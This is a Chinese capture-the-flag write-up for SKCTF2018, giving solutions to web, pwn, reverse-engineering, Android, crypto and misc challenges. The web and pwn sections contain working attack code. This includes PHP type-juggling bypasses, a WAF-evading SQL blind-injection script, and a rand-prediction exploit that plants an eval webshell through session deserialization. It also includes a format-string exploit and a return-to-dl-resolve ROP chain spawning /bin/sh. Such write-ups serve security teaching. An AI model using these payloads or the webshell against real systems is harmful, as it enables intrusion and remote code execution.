SKCTF2018 WriteUp
山东科技大学网络安全小组
Web
Wait_a_minute
右键查看源代码,发现源码。
<html>
<h1>Please input password..........</h1><br><!--
if(isset($_POST['password']))
{
if(strcmp($_POST['password'],$password)==0){
echo "<h1>Welcome,you need to wait......<br>The flag will become soon....</h1><br>";
if(isset($_GET['time'])){
$t=$_GET['time'];
if(!is_numeric($t)){
echo 'Sorry.<br>';
}else if($t < 66 * 55 * 44 * 33 * 22 * 11 ){
echo 'you need a bigger time.<br>';
}else if($t > 11 * 23 * 33 * 44 * 55 * 66){
echo 'you need a smaller time.<br>';
}else{
sleep((int)$t);
var_dump($flag);
}
echo '<hr>';
}
}else{
echo "Password is wrong............<br>";
}
}else{
echo "<h1>Please input password..........</h1><br>";
}
--!>
</html>
首先要求post一个password,要求与服务端设定的password相等才能继续,而这次用了双等号==比较,存在弱
类型绕过。Post一个数组即可
继续发现需要传入一个time时间。在sleep这些时间后会输出这个时间,而在源码中可以可以看到时间的大小在66
55 * 44 * 33 * 22 * 11-11 * 23 * 33 * 44 * 55 * 66之间,也就是说只要等上个几百天flag就出来了。简单吧。
Ok,我们当然不能等上几百天,在源码中可以看到.
对时间t做了int强制转换,那么我们的机会来了。可以使用十六进制,绕过前边的时间检测,而十六进制以0x开
头,int转换后就是0,那么就可以得到flag了。
Php_string
题目存在源码泄露,访问 .index.php.swp
使用vim -r命令恢复
可以得到题目源码
可以看到得到flag的条件很简单,只要输入的id等于字符串‘6666‘即可,但是这里challenge函数对id进行了过滤,无法通过单双引号等方式传入字符串,百度一下可以发现php还有其他一些表示字符串的方式,可以找到一种heredoc的方式,而且佩奇图片的名字就是heredoc,这里其实也给了一些提示。
那么我们就可以用heredoc语法构造payload
Id=<<<b
6666
b;
而需要注意的事,这里有三个换行,其中最后的分号后也需要换行,可以使用%oa代替
那么最终的payload :
?id=<<<b%0a6666%0ab;%0a
八大关
一些简单知识点的汇总
index
查看源代码,可以在注释中看到提示:
你不是自己人,我不能让你进去!
<!-- 悄悄告诉你,我们自己人的ip都是233.233.233.233 -->
可以知道这题限制了IP,我们利用X-Forwarded-For来伪造请求IP。
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段
我们通过burpsuite来添加编辑X-Forwarded-For的值来伪造ip,成功通关。
Challenge1
页面上的提示点明了我们要使用OS X 99 系统来访问,通过更改UA来通关。
You should use “Mac OS X 99” to through the door!
通过burpsuite将headers中的user-agent更改为题目要求的即可通关。
User-Agent 首部包含了一个特征字符串,用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。
Challenge2
给出了关键代码:
if($_POST["a"] != $_POST["b"] && md5($_POST["a"]) == md5($_POST["b"])){
success!
}
payload:a=240610708,b=QLTHNDT(不唯一)
==
在进行比较的时候,会先将字符串类型转化成相同,再比较。如果一个字符串和数字进行比较会先将字符串进行类型转换成数值进行比较。0e开头加数字组成的字符串在比较时,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等。也就是只要是a,b的值经过md5加密后符合这种格式就能成功。
a/b | Md5 |
---|---|
240610708 | 0e462097431906509019562988736854 |
QLTHNDT | 0e405967825401955372549139051580 |
Challenge3
给出了关键代码:
if(($_GET['a']!==$_GET['b'] && md5($_GET['a'])===md5($_GET['b'])){
success!;
}
要求两个参数的值不相等,且a===b,两个md5的强等于比较,我们使用数组来绕过。
Payload:challenge3.php?a[]=1&b[]=2
md5()中的需要是一个string类型的参数。但是当你传递一个array时,md5()不会报错,只是会无法正确地求出array的md5值,这样就会导致任意2个array的md5值都会相等。
Challenge4
根据给出的提示,很显然是要爆破md5.已经提示了是纯数字进行的加密,所以爆破很容易。
substr(md5(input),0,6) ===b04f51
md5爆破:
import hashlib
def getmd5(code):
for i in range(999999):
temp = hashlib.md5(str(i)).hexdigest()
if temp[0:6] == code:
return i
if __name__ == '__main__':
print getmd5('b04f51')
#587478
Challenge5
给出了关键代码,通过strcmp函数来比较两个参数,通过数组绕过。
if(!strcmp($_POST['a'],$_POST['b'])){
success!
}
payload:/challeneg5.php?a[]=1&b=123
strcmp()是比较两个字符串是否相等的函数, 他的判断原理是先将两个字符串转换成ascii然后进行减法运算,结果和0比较, 如果str1<str2 则返回<0,如果str1大于str2返回>0 如果两者相等 返回0 所以它是对字符串类型进行的操作,如果传入数组呢。结果是null但是与0进行松散比较结果是true的。
Challenge6
关键代码已给出,要求参数不能是SKCTF且经过urldecode后等于SKCTF,因为会自动进行一次urldecode,所以将SKCTF进行hex编码两次。
if(eregi("SKCTF",$_GET['code'])) {
echo("code error!");
exit();
}
$_GET['code'] = urldecode($_GET['code']);
if($_GET['code'] == "SKCTF")
{
success;
}
Payload:
/?code=%25%35%33%25%34%62%25%34%33%25%35%34%25%34%36
Lastchallenge
检查元素能看到密码锁的js代码,js验证密码所以要么改js要么直接输入密码,通关。
var Lock = function () {
function Lock() {
_classCallCheck(this, Lock);
this.pin = '7982';
this.setupDom();
this.setupFlickity();
this.setupAudio();
this.onResize();
this.listen();
}
得到flag:SKCTF{haHA_EZ_D0oR}
login me
这题考察sql bool盲注,难点在于waf的绕过。
这里直接给出源码的waf
$waf="union|if| |=|and|>|<|or|substr|mid|left|right|like|regexp";
具体黑盒测试时可以用burpsuite中的intruder工具构建字典自行fuzz。
waf中的空格用/**/
绕过,=
用in
代替,lpad
函数用来截取字符串。
题目还有sql数据库结构泄露,直接访问web4.sql可以看到数据库的结构。
payload:username=1'/**/||/**/lpad(('a'),1,1)/**/in/**/('a')#&password=123
接下来就可以直接盲注查表了。
#-*-coding:utf-8-*-
import requests
import time
url = 'http://192.168.211.131:49154/'
def check(payload):
postdata={'username':payload,'password':'admin'}
r = requests.post(url,postdata).content
#print r
return 'Wrong password' in r
flag=''
s = r'1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@_{}'
for i in xrange(1,64):
for c in s:
payload = '1\'/**/||/**/lpad((select/**/f14g/**/from/**/f1ag),%s,1)/**/in/**/(\'%s\')#'%(str(i),flag+c)
#print payload
if check(payload):
flag += c
break
print flag
if '}' in flag:
break
绕啊绕
给了关键代码,先一句一句分析代码,一步步绕过条件:
$rule = '/([[:punct:]]+|[[:alpha:]]+|[[:digit:]]+)/';
这句是规定了一个rule参数,如果了解php的可以知道,PHP的正则表达式有一些内置的通用字符簇,[[:punct:]]
代表了任何标点符号,[[:alpha:]]
代表了任何字母,不区分大小写,[[:digit:]]
代表了任何数字,接着读代码:
if (8 > preg_match_all($rule, $data, $arr))
这个条件是必须要满足的,否则会break掉,要绕过preg_match_all这个正则表达式,我们必须在data中匹配到八次以上的rule条件,也就是标点符号,数字,字母,接着读代码:
$nn = array('punct', 'alpha', 'digit');
foreach ($nn as $ns)
{
if (preg_match("/[[:$ns:]]+/", $data))
{
$num += 1;
}
}
if ($num < 3)
break;
if (187667123 == $data)
{
$da = $_GET['num'];
if (!is_numeric($da))
{
if(27500 < $da)
{
echo $flag;
}
重要代码就到这结束了,仔细读一下也不难,foreach是一个循环,同样是一个正则表达式preg_match,这段代码的意思是,你要使得data中的数据匹配到超过三次,num才能不<3,也就是要出现超过三种以上的数据,因为代码里规定的数据只有三种,也就是字母,数字,标点符号,所以也就是要这三种数据都出现在payload中才能满足条件,那有的同学会问了,这个条件和之前那个正则表达式有什么区别呢,之前那个要求出现八次以上,但是并不要求三种数据都出现,这里要求的是三种都出现,而且要求数字等于187667123,下一个条件是:
if (!is_numeric($da))
{
if(27500 < $da)
get一个num参数,is_numeric函数是判断一个参数是不是数字,而且还要求比27500大,这个函数是判断一个参数是不是数字,那么如果穿进去的参数是一个字符串就会返回0,绕过,然后要求比27500大,这就是php的弱类型,如果你传输的参数为27501a,那么强制转换后比较的数字就是27501,比27500大,也绕过,然后得到flag,最终payload为:
url=http://127.0.0.1/other.php?num=27501a
POST=data=187667123.0e+0-0+0
答案多样化,大家随意发挥。
login me[easy edition]
这题考察sql bool盲注,几乎没有waf。
payload:username=admin' and substr((select f14g from f1ag),1,1)='S'#&password=123
接下来就可以直接盲注查表了。
#-*-coding:utf-8-*-
import requests
import time
url = 'http://192.168.211.131:49157/'
def check(payload):
postdata={'username':payload,'password':'admin'}
r = requests.post(url,postdata).content
#print r
return 'Wrong password' in r
flag=''
s = r'SKCTF{}1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@_'
for i in xrange(1,64):
for c in s:
payload = 'admin\' and substr((select f14g from f1ag),%s,1)=\'%s\'#'%(str(i),c)
#print payload
if check(payload):
flag += c
break
print flag
if '}' in flag:
break
sqlmap -r 也能跑出来
easy web
hint
- 源代码泄露
- 善于使用搜索引擎
解析
由源代码泄露可以知道有三个文件
index.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
echo rand();
if(isset($_POST['up_addr']))
{
include("rand_addr.php");
if($_POST['up_addr']===$up_addr&&isset($_POST['str']))
{
$str = $_POST['str'];
$_SESSION['name'] = $str;
}
}
kkkk.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class SKCTF{
var $content;
function __destruct() {
include("rand_addr.php");
file_put_contents("/var/www/html/upload/$up_addr.php",$this->content);
}
}
rand_addr.php
<?php
$up_addr = str_shuffle('0123456789abcdefghijklmnopqrstuvwxyz');
代码逻辑很简单,明显预测随机字符串,预测出来判断正确之后有个存储session的操作,然后可以发现两个文件对session的操作方式不一样,导致了session反序列化的产生。
分析str_shuffle
函数的底层代码
static void php_string_shuffle(char *str, long len TSRMLS_DC) /* {{{ */
{
long n_elems, rnd_idx, n_left;
char temp;
/* The implementation is stolen from array_data_shuffle */
/* Thus the characteristics of the randomization are the same */
n_elems = len;
if (n_elems <= 1) {
return;
}
n_left = n_elems;
while (--n_left) {
rnd_idx = php_rand(TSRMLS_C);
RAND_RANGE(rnd_idx, 0, n_left, PHP_RAND_MAX);
if (rnd_idx != n_left) {
temp = str[n_left];
str[n_left] = str[rnd_idx];
str[rnd_idx] = temp;
}
}
}
可以知道str_shuffle
是通过获取rand值来打乱字符串的,根据传进来的字符串值的长度决定了调用获取rand的次数,那么参考文章
http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/
可以知道rand()值是可以预测的,看一下RAND_RANGE的实现
#define RAND_RANGE(__n, __min, __max, __tmax) \
(__n) = (__min) + (long) ((double) ( (double) (__max) - (__min) + 1.0) * ((__n) / ((__tmax) + 1.0)))
那么既然rand可以预测的话,打乱后的字符串也可以预测。
假如这里预测了字符串还考察了session反序列化
构造反序列化的payload
<?php
class SKCTF{
var $content;
}
$p0desta = new SKCTF();
$p0desta->content = "<?php eval(\$_POST[1]); ?>";
echo "|".serialize($p0desta);
重写str_shuffle的底层代码,这里需要注意到底什么时候传入多少个rand()值,poc如下
#encoding: utf-8
import requests
import re
import random
from ctypes import *
def RAND_RANGE(__n,__min,__max,__tmax):
xx = __min + ( ( (__max) - (__min) + 1.0) * ((__n) / ((__tmax) + 1.0)))
return (int)(xx)
def str_shuffle(arr,ss):
n_elems = len(ss)
if(n_elems<=1):
return
num = -1
kk = []
brr = []
for m in range(32,32+n_elems+1):
num = num+1
arr.append((arr[m-3]+arr[m-31])%2147483647)
brr.append(arr[num])
n_left = n_elems
n = -1
n_left = n_left-1
sss = []
for s in ss:
sss.append(s)
x = 0
while (n_left):
n = n+1
rnd_idx = brr[n]
rnd_idx = RAND_RANGE(rnd_idx,0,n_left,2147483647)
if(rnd_idx!=n_left):
sss[rnd_idx],sss[n_left] = sss[n_left],sss[rnd_idx]
n_left = n_left-1
x = x + 1
return sss
ars = []
headers={
'Connection': 'Keep-Alive'
}
s = requests.Session()
url='http://192.168.190.128:1112/index.php'
for i in range(32):
r =s.get(url=url,headers=headers)
ars.append(int(r.text))
#print ars
payload = []
for i in range(73):
ars.append((ars[i+1]+ars[i+29])%2147483647)
sss = str_shuffle(ars[33:65],"0123456789abcdefghijklmnopqrstuvwxyz")
key = ''.join(sss)
print "key:"+key
sss1 = str_shuffle(ars[68:],"0123456789abcdefghijklmnopqrstuvwxyz")
key1 = ''.join(sss1)
print "key1:"+key1
data = {
"up_addr":key,
"str":'|O:5:"SKCTF":1:{s:7:"content";s:25:"<?php eval($_POST[1]); ?>";}'
}
print data
r=s.post(url,headers=headers,data=data)
print(r.text)
url_new = "http://192.168.190.128:1112/kkkk.php"
print s.get(url=url_new).content
PWN
pwn1
简单的大数字格式化字符串
# coding=utf-8
from pwn import *
p = process('./pwn1')
payload = fmtstr_payload(7, {0x0804a028: 0x12345678})
p.sendline(payload)
p.interactive()
pwn2
明显的栈溢出,很直观的漏洞在read函数,但是只有一个read,没有可以用来leak的函数,所以用Return-to-dl-resolve的解法
- 首先在bss段写入/bin/sh
- 调用system函数
#coding:utf-8
import sys
import roputils
from pwn import *
p = process('./pwn2')
elf = ELF('pwn2')
readplt = elf.plt['read']
#print hex(readplt)
#readplt = 0x8048310
bss = 0x0804A024
vulFun = 0x0804844D
offset = 40
rop = roputils.ROP('./pwn2')
bss_addr = rop.section('.bss')
buf1 = 'A' * offset
buf1 += p32(readplt) + p32(vulFun) + p32(0) + p32(bss_addr) + p32(100)
p.send(buf1)
buf2 = rop.string('/bin/sh')
buf2 += rop.fill(20, buf2)
buf2 += rop.dl_resolve_data(bss_addr+20, 'system')
buf2 += rop.fill(100, buf2)
p.send(buf2)
buf3 = 'A'* offset + rop.dl_resolve_call(bss_addr+20, bss_addr)
p.send(buf3)
p.interactive()
RE
BabyRE
使用gdb进行调试分析
gdb-peda$ b main.main
Breakpoint 1 at 0x48ea30: file /root/Desktop/babyre.go, line 7.
gdb-peda$ disas main.main
Dump of assembler code for function main.main:
0x000000000048ea30 <+0>: mov rcx,QWORD PTR fs:0xfffffffffffffff8
0x000000000048ea39 <+9>: lea rax,[rsp-0x8]
0x000000000048ea3e <+14>: cmp rax,QWORD PTR [rcx+0x10]
0x000000000048ea42 <+18>: jbe 0x48ebda <main.main+426>
0x000000000048ea48 <+24>: sub rsp,0x88
0x000000000048ea4f <+31>: mov QWORD PTR [rsp+0x80],rbp
0x000000000048ea57 <+39>: lea rbp,[rsp+0x80]
0x000000000048ea5f <+47>: lea rax,[rip+0x1087a] # 0x49f2e0
0x000000000048ea66 <+54>: mov QWORD PTR [rsp],rax
0x000000000048ea6a <+58>: call 0x40e470 <runtime.newobject>
0x000000000048ea6f <+63>: mov rax,QWORD PTR [rsp+0x8]
0x000000000048ea74 <+68>: mov QWORD PTR [rsp+0x48],rax
0x000000000048ea79 <+73>: mov ecx,0x1
0x000000000048ea7e <+78>: jmp 0x48eb09 <main.main+217>
0x000000000048ea83 <+83>: inc rcx
0x000000000048ea86 <+86>: cmp rcx,0xf
0x000000000048ea8a <+90>: jge 0x48ebb9 <main.main+393>
0x000000000048ea90 <+96>: mov rdx,QWORD PTR [rax+0x8]
0x000000000048ea94 <+100>: mov rbx,QWORD PTR [rax]
0x000000000048ea97 <+103>: cmp rcx,rdx
0x000000000048ea9a <+106>: jae 0x48ebd3 <main.main+419>
0x000000000048eaa0 <+112>: movzx edx,BYTE PTR [rbx+rcx*1]
0x000000000048eaa4 <+116>: lea rbx,[rip+0x324b8] # 0x4c0f63
0x000000000048eaab <+123>: movzx esi,BYTE PTR [rbx+rcx*1]
0x000000000048eaaf <+127>: xor edx,esi
0x000000000048eab1 <+129>: cmp dl,0x3
0x000000000048eab4 <+132>: jne 0x48eb6f <main.main+319>
0x000000000048eaba <+138>: cmp rcx,0xe
0x000000000048eabe <+142>: jne 0x48ea83 <main.main+83>
0x000000000048eac0 <+144>: xorps xmm0,xmm0
0x000000000048eac3 <+147>: movups XMMWORD PTR [rsp+0x50],xmm0
0x000000000048eac8 <+152>: lea rax,[rip+0x10811] # 0x49f2e0
0x000000000048eacf <+159>: mov QWORD PTR [rsp+0x50],rax
0x000000000048ead4 <+164>: lea rcx,[rip+0x42df5] # 0x4d18d0 <main.statictmp_1>
0x000000000048eadb <+171>: mov QWORD PTR [rsp+0x58],rcx
0x000000000048eae0 <+176>: lea rdx,[rsp+0x50]
0x000000000048eae5 <+181>: mov QWORD PTR [rsp],rdx
0x000000000048eae9 <+185>: mov QWORD PTR [rsp+0x8],0x1
0x000000000048eaf2 <+194>: mov QWORD PTR [rsp+0x10],0x1
0x000000000048eafb <+203>: call 0x4831a0 <fmt.Println>
0x000000000048eb00 <+208>: xor eax,eax
0x000000000048eb02 <+210>: mov ecx,eax
0x000000000048eb04 <+212>: mov rax,QWORD PTR [rsp+0x48]
0x000000000048eb09 <+217>: test cl,cl
0x000000000048eb0b <+219>: je 0x48ebc3 <main.main+403>
0x000000000048eb11 <+225>: mov BYTE PTR [rsp+0x47],cl
0x000000000048eb15 <+229>: xorps xmm0,xmm0
0x000000000048eb18 <+232>: movups XMMWORD PTR [rsp+0x70],xmm0
0x000000000048eb1d <+237>: lea rcx,[rip+0xda1c] # 0x49c540
0x000000000048eb24 <+244>: mov QWORD PTR [rsp+0x70],rcx
0x000000000048eb29 <+249>: mov QWORD PTR [rsp+0x78],rax
0x000000000048eb2e <+254>: lea rdx,[rip+0x30dc8] # 0x4bf8fd
0x000000000048eb35 <+261>: mov QWORD PTR [rsp],rdx
0x000000000048eb39 <+265>: mov QWORD PTR [rsp+0x8],0x2
0x000000000048eb42 <+274>: lea rbx,[rsp+0x70]
0x000000000048eb47 <+279>: mov QWORD PTR [rsp+0x10],rbx
0x000000000048eb4c <+284>: mov QWORD PTR [rsp+0x18],0x1
0x000000000048eb55 <+293>: mov QWORD PTR [rsp+0x20],0x1
0x000000000048eb5e <+302>: call 0x489180 <fmt.Scanf>
0x000000000048eb63 <+307>: mov rax,QWORD PTR [rsp+0x48]
0x000000000048eb68 <+312>: xor ecx,ecx
0x000000000048eb6a <+314>: jmp 0x48ea86 <main.main+86>
0x000000000048eb6f <+319>: xorps xmm0,xmm0
0x000000000048eb72 <+322>: movups XMMWORD PTR [rsp+0x60],xmm0
0x000000000048eb77 <+327>: lea rax,[rip+0x10762] # 0x49f2e0
0x000000000048eb7e <+334>: mov QWORD PTR [rsp+0x60],rax
0x000000000048eb83 <+339>: lea rcx,[rip+0x42d36] # 0x4d18c0 <main.statictmp_0>
0x000000000048eb8a <+346>: mov QWORD PTR [rsp+0x68],rcx
0x000000000048eb8f <+351>: lea rdx,[rsp+0x60]
0x000000000048eb94 <+356>: mov QWORD PTR [rsp],rdx
0x000000000048eb98 <+360>: mov QWORD PTR [rsp+0x8],0x1
0x000000000048eba1 <+369>: mov QWORD PTR [rsp+0x10],0x1
0x000000000048ebaa <+378>: call 0x4831a0 <fmt.Println>
0x000000000048ebaf <+383>: movzx eax,BYTE PTR [rsp+0x47]
0x000000000048ebb4 <+388>: jmp 0x48eb02 <main.main+210>
0x000000000048ebb9 <+393>: movzx eax,BYTE PTR [rsp+0x47]
0x000000000048ebbe <+398>: jmp 0x48eb02 <main.main+210>
0x000000000048ebc3 <+403>: mov rbp,QWORD PTR [rsp+0x80]
0x000000000048ebcb <+411>: add rsp,0x88
0x000000000048ebd2 <+418>: ret
0x000000000048ebd3 <+419>: call 0x424f70 <runtime.panicindex>
0x000000000048ebd8 <+424>: ud2
0x000000000048ebda <+426>: call 0x44d270 <runtime.morestack_noctxt>
0x000000000048ebdf <+431>: jmp 0x48ea30 <main.main>
End of assembler dump.
73行一层while循环, 然后跳到217行, 若符合while条件, 向下执行到302行调用Scanf函数,然后再跳回86行, 进入一个i = 0; i < 15的循环, 在116行加载一个字符串[0x4c0f63]PH@WExabazd3qf~
(使用 x /s 0x4c0f63查看), 然后进行逐位异或, 若异或结
果不为1, 则跳出循环Printf(“Wrong”), 否则继续循环, 直到循环结束输出Printf(“Right”)
源码:
package main
import (
"fmt"
)
func main() {
var i = true
str := ""
str2 := "PH@WExabazd3qf~"
for i {
fmt.Scanf("%s", &str)
for b:=0; b < 15; b++ {
if str[b] ^ str2[b] != 3 {
fmt.Println("Wrong")
break
} else {
if b == 14 {
fmt.Println("Right")
i = !true
break
}
}
}
}
}
intel
虽然是mac程序,但是ida也能分析
直接上脚本
def calc(result):
for i in range(32,128):
k = i
for j in range(4):
tmp = k*2
if tmp & 0x100:
tmp |= 1
k = tmp & 255
if k == result:
return chr(i)
string='44F6F557F5C696B656F51425D4F596E63747275736479603E6F3A392'.decode('hex')
flag = ''
for ch in string:
flag+=calc(ord(ch))
print f_d
getit
一个exe文件,查壳
用IDA打开,F12查看字符串,发现几个关键句
双击进入到具体位置
在函数名上按X,寻找到函数的具体位置,F5查看伪代码
分析一下语境,发现与“U7kD0VwFt2d0DUUfVxdQEMl=ZVd=”这串字符串有关,既然和flag接近,那就是该字符串经过某些转换才能得到flag
观察该字符串,猜测与密码有关,看到两个等号联想到base64,但是格式又不像,猜测栅栏密码,解密得到flag。
-> 栅栏密码
U0tDVEZ7V2UxMVkwdUdldDF0fQ==
->base64 decode
SKCTF{We11Y0uGet1t}
Android
爆破大法好
见名知意,本题就是采用爆破的方法得到flag.
关键代码如上,可以看到程序首先查看输入的字符串的长度是否为6,然后将输入进行MD5加密,将加密后的结果与result进行比较。
因为采用的MD5加密,所以无法直接解密,采用爆破的方法得到flag。
Flag为skctf{soeasy}
getFlag
程序打开后为一个网页,然后通过点击网页链接调用encrypt类,
将输入每四位进行循环左移,input[0,1,2,3,4,5,6…]变为input[1,2,3,0,5,6,7,4…]
获取程序的签名值,这地方为了降低难度,打开了Log,不知道这是获取签名也可以做,查看一下log即可得到签名值。
将上面左移后的结果与签名的偶数位进行异或得到v5,最后将v5与result进行比较。
反推一下算法过程即可得到flag。Flag为skctf{congratulation!!}
脚本如下:
end = [13, 92, 5, 87, 81, 22, 65, 22, 89, 70, 94, 8, 91, 67, 64, 90]
s = "B026B34B00BB4CD2862175D157B1AD5EE89A407C"
ss ="b026b34b00bb4cd2862175d157b1ad5ee89a407c"
flag =""
for i in range(0,16):
flag += (chr(int(end[i]) ^ ord(ss[i*2])))
print(flag)
flag = list(flag)
for i in range(0,4):
c = flag[(3-i)*4+3]
for j in range(0,3):
flag[(3-i) * 4 + (2-j) + 1] = flag[(3-i) * 4 + (2-j)]
flag[(3-i) * 4] = c
print(flag)
for i in range(0,16):
print(flag[i],end="")
#congratulation!!
Crypto
LFSR
根据图可知,Y是LFSR产生序列与FLAG异或得到的结果,已知Y,只要生成加密时使用的序列即可得到flag。
已知LFSR初始状态为17,即10001。则根据LFSR原理,将其表示为a1,a2,a3,a4,a5。首先输出的是a1,即LFSR右端为a1,顺序向左排列。
第一次运算,移位输出a1,将a1与a4进行异或运算得到a6:a6 = a1 ^ a4
第一次运算后,LFSR中由右至左为 11000,重复操作,继续输出。
推广:
n>5时,a(n) = a(n-5) ^ a(n-2)
又知Y长度为184,则依次运算生成184位初始序列:
1101110011010001000000011110111101011001010011111100000101000110011000010011000001100101101110010010001110011001011110111110100010001110111110110110011111010111110001100001101000101010
将其与Y进行异或即可得到FLAG的二进制,转为16进制后,再转换为字符即可。
flag:SKCTF{D0_YoU_Kn0w_Lf5R}
# - UTF-8 -
# LSFR_decode
# _Bonjour
#
Y = "1101110011010001000000011110111101011001010011111100000101000110011000010011000001100101101110010010001110011001011110111110100010001110111110110110011111010111110001100001101000101010"
len = len(Y)
print(len) # 求密文长度
# initial_state = 17
# initial_state = "00010001"
output = '10001'
# 根据图(a4,a3,a2,a1,a0),f = list[i] ^ list[i + 3]
for i in range(184):
output += str(int(output[i]) ^ int(output[i + 3]))
print("output = " + output)
flag = ''
for i in range(184):
flag += str(int(output[i]) ^ int(Y[i]))
print("flag = " + flag)
list = ''
idx = 0
while idx < len:
list += chr(int(flag[idx:idx+8],2))
idx += 8
print(list)
easy rsa
低指数幂爆破攻击,脚本如下
import libnum
c=20007698782339834246219328724588364459038474898597431254441716723329047692482286669616878491497181438826429104573158490197780427343059002311390665150204203593904674308567972583524863664412573864470357485299378319457792659062998310715680020892095430469672971488726545126438904961637
n= 127736277372703302601056543119422673263688414162130452012271136376613506149677023810059879551077756689012265602068781726322860263396788055341495459092641851239465778777954763378423777055786390661741851297248439205933852145044703803764388021585419049988085302710871206091591995497858682344782684500134395300049
for e in range(2,10):
m = libnum.nroot(c,e)
if m**e==c:
break
print "e:",e
print "m:",m
flag = libnum.n2s(m)
print flag
看到的就是全部
相关知识:caser + 栅栏 + unicode
cipher:
\u4f\u50\u53\u79\u41\u47\u42\u7a\u47\u42\u61\u4b\u32\u59\u33\u7d\u59\u7b\u31\u69\u6f\u50\u6e
unicode decode
栅栏 key:3
凯撒caser
plain: SKCTF{We1cOmE2sKCTF3rd}
FairPlay
相关知识:fairplay加密
参考原理:
https://blog.csdn.net/qq_25968195/article/details/70343910
具体加密步骤:
根据key构建5*5矩阵
j u s t d
o a b c e
f g h k l
m n p q r
v w x y z对密文进行两两分组
(** 若两元素相同(a == b):于两元素间插入x
** 若两元素同一行(a / 5 == b / 5):取右(+1)元素
** 若两元素同一列(a % 5 == b % 5):取下(+5)元素
** 若两元素不同行不同列:以两元素为对角线构建矩阵,分别取该矩阵内的同行(a + (|b - a| % 5) 和 b - (|b - a| % 5))元素)
# Playfair_encode
#
# 本代码已知约定:
# j -> i
# 若 p1=p2,则插入一个字母(X)于重复字母之间;
# 若明文字母数为奇数时,则在明文的末端添加(Z)作为填充;
#
# Bonjour_
# 移除密钥中已存在的字符
def Remove(key):
key = key.lower() # 将所有大写字母转为小写
text = ''
for c in key:
if c == 'i':
c = 'j'
if c in text:
continue
else:
text+=c
return text
# 整合密钥不重复字母和字母表剩余字母
def Ordertext(text):
Alphabet = "abcdefghijklmnopqrstuvwxyz"
for c in Alphabet:
if c == 'i':
c = 'j'
if c not in text:
text+=c
return text
# 根据已确定顺序构造5*5矩阵
def CreatMatrix(text):
Matrix = []
cnt = 0
for i in range(25):
Matrix.append(text[cnt:cnt+1])
cnt+=1
return Matrix
# 查找指定元素
def Search(Matrix,c):
if c == 'i':
c = 'j'
cnt = 0
for i in Matrix:
if i == c:
# print(cnt)
return cnt # 返回元素位置
cnt = cnt + 1
return -1
def Abs(a,b):
if a > b:
return a - b
else:
return b - a
# 进行元素变化 ##'A' = 65, 'a' = 97
# # 若两元素同一行(a / 5 == b / 5):取右(+1)元素
def Change1(Matrix,x):
if int(x / 5) != int((x + 1) / 5):
x = int(int(x / 5) * 5)
# print(x)
else:
x = x + 1
# print("+1+")
return Matrix[x]
# 若两元素同一列(a % 5 == b % 5):取下(+5)元素
def Change2(Matrix,x):
x = (x + 5) % 25
return Matrix[x]
# 若两元素不同行不同列:以两元素为对角线构建矩阵,分别取该矩阵内的同行(a + (|b - a| % 5) 和 b - (|b - a| % 5))元素
def Change3(Matrix,x,diff):
x = x + diff
return Matrix[x]
# 两两分组
# 若两元素相同(a == b):于两元素间插入x
# 若两元素同一行(a / 5 == b / 5):取右(+1)元素
# 若两元素同一列(a % 5 == b % 5):取下(+5)元素
# 若两元素不同行不同列:以两元素为对角线构建矩阵,分别取该矩阵内的同行(a + (|b - a| % 5) 和 b - (|b - a| % 5))元素
def encode(Matrix,plain,len):
cnt = 0
text = ''
while(cnt < len):
a = plain[cnt]
b = plain[cnt + 1]
pos_a = Search(Matrix,a)
pos_b = Search(Matrix,b)
# print(int(pos_a / 5))
# print(int(pos_b / 5))
# c = 'a'
# c = ord(c) + 1 //ord():将字符转化为整数值
# print(chr(c)) //输出'b'
if pos_a == pos_b:
text += a
text += 'x'
text += a
elif int(pos_a / 5) == int(pos_b / 5):
text += Change1(Matrix,pos_a)
text += Change1(Matrix,pos_b)
elif pos_a % 5 == pos_b % 5:
text += Change2(Matrix,pos_a)
text += Change2(Matrix,pos_b)
# 根据两种矩阵格式区分
elif pos_a % 5 < pos_b % 5:
diff = pos_b % 5 - pos_a % 5
if pos_a > pos_b:
text += Change3(Matrix,pos_a,diff)
text += Change3(Matrix,pos_b,-diff)
else:
text += Change3(Matrix,pos_a,diff)
text += Change3(Matrix,pos_b,-diff)
elif pos_a % 5 > pos_b % 5:
diff = pos_a % 5 - pos_b % 5
if pos_a > pos_b:
text += Change3(Matrix,pos_a,-diff)
text += Change3(Matrix,pos_b,diff)
else:
text += Change3(Matrix,pos_a,-diff)
text += Change3(Matrix,pos_b,diff)
cnt+=2
return text
# 读取文件
input = open('in.txt')
try:
plain = input.read()
finally:
input.close()
print(plain)
file = open('key.txt')
try:
key = file.read()
finally:
file.close()
# 去除空格
# key=key.replace(' ','')
text = Remove(key)
text = Ordertext(text)
Matrix = CreatMatrix(text)
print(Matrix)
# print(Matrix[0])
# 若明文字母数为奇数时,则在明文的末端添加(Z)作为填充;
len = 0
for i in plain:
len = len + 1
if len % 2 == 1:
plain += 'z'
cipher = encode(Matrix,plain,len)
print(cipher)
#flag:SKCTF{rhcwgodmdbordbbutcgbmasklzdx}
仿射变换
相关知识:仿射加密
参考原理:百度百科-仿射加密
m = 11x + 23(mod 26)
求得11模26的逆为19,因此c = 19(m - 23)(mod 26)
c = 'fwpcpywpcphnxaoxlywpcphnxlhco'
def getGcd(x,y):
while True:
divisor = x % y
gcd = y
x,y = y,divisor
if divisor == 0:
break
return gcd
def setCoprime(a,n):
for i in range(1,n):
#print(getGcd(n,i))
if(1 == getGcd(n,i)):
a.append(i)
def get_a(l,a,n):
for i in l:
if(1 == a * i % n):
return i
return 0
def decrypt(s,a,b,n):
c = ''
s.split()
l = []
setCoprime(l,n)
#print(l)
#print(get_a(l,a,n))
for i in s:
c += chr(((get_a(l,a,n) * ((ord(i)-97) - b)) % 26)+97)
return c
print(decrypt(c,11,23,26))
#flag:SKCTF{wherethereisaflagthereisagirl}
MISC
Just Listen
解压压缩包得到图片和mp3。
password.jpg藏着密码,用stegsolve打开,切换通道,得到密码。
